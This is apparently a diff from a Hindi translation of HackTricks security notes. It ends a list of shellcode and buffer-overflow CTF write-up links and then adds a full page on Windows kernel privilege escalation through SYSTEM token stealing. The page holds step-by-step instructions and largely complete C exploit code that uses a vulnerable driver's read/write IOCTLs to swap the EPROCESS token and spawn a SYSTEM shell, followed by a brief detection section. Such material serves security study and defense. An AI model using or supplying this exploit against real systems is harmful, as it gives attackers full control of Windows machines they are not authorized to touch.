- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
- 64बिट, ASLR के साथ स्टैक पता लीक, शेलकोड लिखें और उस पर कूदें
- 64bit, ASLR के साथ stack address leak, shellcode लिखें और उस पर jump करें
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
- 32 बिट, ASLR के साथ स्टैक लीक, शेलकोड लिखें और उस पर कूदें
- 32 bit, ASLR के साथ stack leak, shellcode लिखें और उस पर jump करें
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
- 32 बिट, ASLR के साथ स्टैक लीक, exit() को कॉल करने से रोकने के लिए तुलना, एक मान के साथ चर को ओवरराइट करें और शेलकोड लिखें और उस पर कूदें
- 32 bit, ASLR के साथ stack leak, exit() कॉल रोकने के लिए comparison, किसी variable को एक value से overwrite करना और shellcode लिखकर उस पर jump करना
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- arm64, कोई ASLR नहीं, स्टैक को निष्पादन योग्य बनाने के लिए ROP गैजेट और स्टैक में शेलकोड पर कूदें
- arm64, ASLR नहीं, ROP gadget से stack को executable बनाकर stack में मौजूद shellcode पर jump करना
## संदर्भ
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
- [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,122 @@
# Windows kernel EoP: Token stealing with arbitrary kernel R/W
{{#include ../../banners/hacktricks-training.md}}
## अवलोकन
यदि कोई vulnerable driver ऐसा IOCTL expose करता है जो attacker को arbitrary kernel read और/या write primitives देता है, तो NT AUTHORITY\SYSTEM तक privilege उठाना अक्सर SYSTEM access token चोरी करके हासिल किया जा सकता है। यह technique SYSTEM प्रक्रिया के EPROCESS से Token pointer को वर्तमान प्रक्रिया के EPROCESS में copy करती है।
क्यों यह काम करता है:
- हर प्रक्रिया के पास एक EPROCESS structure होता है जो (अन्य फ़ील्ड्स के अलावा) एक Token रखता है (वास्तव में token object के लिए एक EX_FAST_REF)।
- SYSTEM process (PID 4) के पास सभी privileges enabled वाले token होते हैं।
- वर्तमान प्रक्रिया के EPROCESS.Token को SYSTEM token pointer से बदल देने पर वर्तमान प्रक्रिया तुरंत SYSTEM के रूप में चलने लगती है।
> Offsets in EPROCESS vary across Windows versions. Determine them dynamically (symbols) or use version-specific constants. Also remember that EPROCESS.Token is an EX_FAST_REF (low 3 bits are reference count flags).
## उच्च-स्तरीय चरण
1) ntoskrnl.exe base को ढूंढें और PsInitialSystemProcess का address resolve करें.
- user mode से, loaded driver bases प्राप्त करने के लिए NtQuerySystemInformation(SystemModuleInformation) या EnumDeviceDrivers का उपयोग करें.
- PsInitialSystemProcess का offset (from symbols/reversing) kernel base में जोड़ें ताकि उसका address मिल सके.
2) PsInitialSystemProcess पर स्थित pointer पढ़ें → यह SYSTEM के EPROCESS का kernel pointer होता है.
3) SYSTEM EPROCESS से, UniqueProcessId और ActiveProcessLinks offsets पढ़ें ताकि EPROCESS structures की doubly linked list (ActiveProcessLinks.Flink/Blink) traverse कर सकें जब तक कि आप वह EPROCESS न मिल जाए जिसका UniqueProcessId GetCurrentProcessId() के बराबर हो। दोनों को रखें:
- EPROCESS_SYSTEM (for SYSTEM)
- EPROCESS_SELF (for the current process)
4) SYSTEM token value पढ़ें: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
- निचले 3 बिट्स mask कर दें: Token_SYS_masked = Token_SYS & ~0xF (commonly ~0xF or ~0x7 depending on build; on x64 the low 3 bits are used — 0xFFFFFFFFFFFFFFF8 mask).
5) Option A (common): अपने current token के निचले 3 बिट्स को सुरक्षित रखें और embedded ref count consistent रखने के लिए उन्हें SYSTEM के pointer पर splice करें।
- Token_ME = *(EPROCESS_SELF + TokenOffset)
- Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
6) अपने kernel write primitive का उपयोग करके Token_NEW को (EPROCESS_SELF + TokenOffset) में वापस लिखें।
7) अब आपकी वर्तमान प्रक्रिया SYSTEM बन चुकी है। पुष्टि के लिए वैकल्पिक रूप से नया cmd.exe या powershell.exe spawn करें।
## Pseudocode
नीचे एक skeleton है जो केवल vulnerable driver के दो IOCTLs का उपयोग करता है, एक 8-byte kernel read के लिए और एक 8-byte kernel write के लिए। इसे अपने drivers interface से बदलें।
```c
#include <Windows.h>
#include <Psapi.h>
#include <stdint.h>
// Device + IOCTLs are driver-specific
#define DEV_PATH "\\\\.\\VulnDrv"
#define IOCTL_KREAD CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_KWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
// Version-specific (examples only resolve per build!)
static const uint32_t Off_EPROCESS_UniquePid = 0x448; // varies
static const uint32_t Off_EPROCESS_Token = 0x4b8; // varies
static const uint32_t Off_EPROCESS_ActiveLinks = 0x448 + 0x8; // often UniquePid+8, varies
BOOL kread_qword(HANDLE h, uint64_t kaddr, uint64_t *out) {
struct { uint64_t addr; } in; struct { uint64_t val; } outb; DWORD ret;
in.addr = kaddr; return DeviceIoControl(h, IOCTL_KREAD, &in, sizeof(in), &outb, sizeof(outb), &ret, NULL) && (*out = outb.val, TRUE);
}
BOOL kwrite_qword(HANDLE h, uint64_t kaddr, uint64_t val) {
struct { uint64_t addr, val; } in; DWORD ret;
in.addr = kaddr; in.val = val; return DeviceIoControl(h, IOCTL_KWRITE, &in, sizeof(in), NULL, 0, &ret, NULL);
}
// Get ntoskrnl base (one option)
uint64_t get_nt_base(void) {
LPVOID drivers[1024]; DWORD cbNeeded;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded >= sizeof(LPVOID)) {
return (uint64_t)drivers[0]; // first is typically ntoskrnl
}
return 0;
}
int main(void) {
HANDLE h = CreateFileA(DEV_PATH, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (h == INVALID_HANDLE_VALUE) return 1;
// 1) Resolve PsInitialSystemProcess
uint64_t nt = get_nt_base();
uint64_t PsInitialSystemProcess = nt + /*offset of symbol*/ 0xDEADBEEF; // resolve per build
// 2) Read SYSTEM EPROCESS
uint64_t EPROC_SYS; kread_qword(h, PsInitialSystemProcess, &EPROC_SYS);
// 3) Walk ActiveProcessLinks to find current EPROCESS
DWORD myPid = GetCurrentProcessId();
uint64_t cur = EPROC_SYS; // list is circular
uint64_t EPROC_ME = 0;
do {
uint64_t pid; kread_qword(h, cur + Off_EPROCESS_UniquePid, &pid);
if ((DWORD)pid == myPid) { EPROC_ME = cur; break; }
uint64_t flink; kread_qword(h, cur + Off_EPROCESS_ActiveLinks, &flink);
cur = flink - Off_EPROCESS_ActiveLinks; // CONTAINING_RECORD
} while (cur != EPROC_SYS);
// 4) Read tokens
uint64_t tok_sys, tok_me;
kread_qword(h, EPROC_SYS + Off_EPROCESS_Token, &tok_sys);
kread_qword(h, EPROC_ME + Off_EPROCESS_Token, &tok_me);
// 5) Mask EX_FAST_REF low bits and splice refcount bits
uint64_t tok_sys_mask = tok_sys & ~0xF; // or ~0x7 on some builds
uint64_t tok_new = tok_sys_mask | (tok_me & 0x7);
// 6) Write back
kwrite_qword(h, EPROC_ME + Off_EPROCESS_Token, tok_new);
// 7) We are SYSTEM now
system("cmd.exe");
return 0;
}
```
Notes:
- Offsets: सही offsets पाने के लिए target के PDBs के साथ WinDbgs `dt nt!_EPROCESS` या किसी runtime symbol loader का उपयोग करें। अंधाधुंध hardcode न करें।
- Mask: x64 पर token एक EX_FAST_REF होता है; low 3 bits reference count बिट्स होते हैं। अपने token के मूल low bits बनाए रखने से तुरंत refcount असंगतियों से बचा जा सकता है।
- Stability: वर्तमान process को elevate करना प्राथमिकता दें; अगर आप किसी short-lived helper को elevate करते हैं तो वह exit होने पर SYSTEM खो सकता है।
## डिटेक्शन और निवारण
- unsigned या untrusted thirdparty drivers को लोड करना जो powerful IOCTLs expose करते हैं, मूल कारण होता है।
- Kernel Driver Blocklist (HVCI/CI), DeviceGuard, और Attack Surface Reduction नियम vulnerable drivers के लोड होने को रोक सकते हैं।
- EDR suspicious IOCTL sequences के लिए निगरानी कर सकता है जो arbitrary read/write लागू करते हैं और token swaps के लिए भी देख सकता है।
## References
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
- [FuzzySecurity Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html)
{{#include ../../banners/hacktricks-training.md}}